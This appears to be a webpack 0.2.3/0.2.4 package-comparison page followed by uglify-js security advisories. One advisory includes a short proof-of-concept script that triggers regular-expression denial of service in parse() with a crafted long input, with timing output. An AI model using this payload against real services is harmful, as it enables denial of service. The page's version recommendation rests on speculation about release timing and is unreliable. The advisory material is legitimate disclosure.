Webpack version 0.2.4 arrived swiftly after version 0.2.3, both iterations packing CommonJs modules for browser environments and offering code splitting capabilities for on-demand loading of bundles. Examining the package data reveals a minimal incremental update, as the core functionality and dependencies---esprima, sprintf, optimist, and uglify-js---remain identical across both versions. The devDependencies, namely vows, also remain consistent, suggesting no changes to the testing framework.
The most notable difference lies in the release date, with version 0.2.4 being published just hours after 0.2.3. This rapid succession implies that 0.2.4 likely addresses a bug fix or minor enhancement discovered immediately after the initial release of 0.2.3. For developers, While there are no listed changes that can be seen from the package data, the immediate release of version 0.2.4 suggests a potential critical fix or subtle improvement over 0.2.3. Therefore, it is recommended to choose the latest 0.2.4, as it is the newest and presumably most stable version.
All the vulnerabilities related to the version 0.2.4 of the package
Incorrect Handling of Non-Boolean Comparisons During Minification in uglify-js
Versions of uglify-js
prior to 2.4.24 are affected by a vulnerability which may cause crafted JavaScript to have altered functionality after minification.
Upgrade UglifyJS to version >= 2.4.24.
Regular Expression Denial of Service in uglify-js
Versions of uglify-js
prior to 2.6.0 are affected by a regular expression denial of service vulnerability when malicious inputs are passed into the parse()
method.
var u = require('uglify-js');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
u.parse("var a = " + genstr(process.argv[2], "1") + ".1ee7;");
$ time node test.js 10000
real 0m1.091s
user 0m1.047s
sys 0m0.039s
$ time node test.js 80000
real 0m6.486s
user 0m6.229s
sys 0m0.094s
Update to version 2.6.0 or later.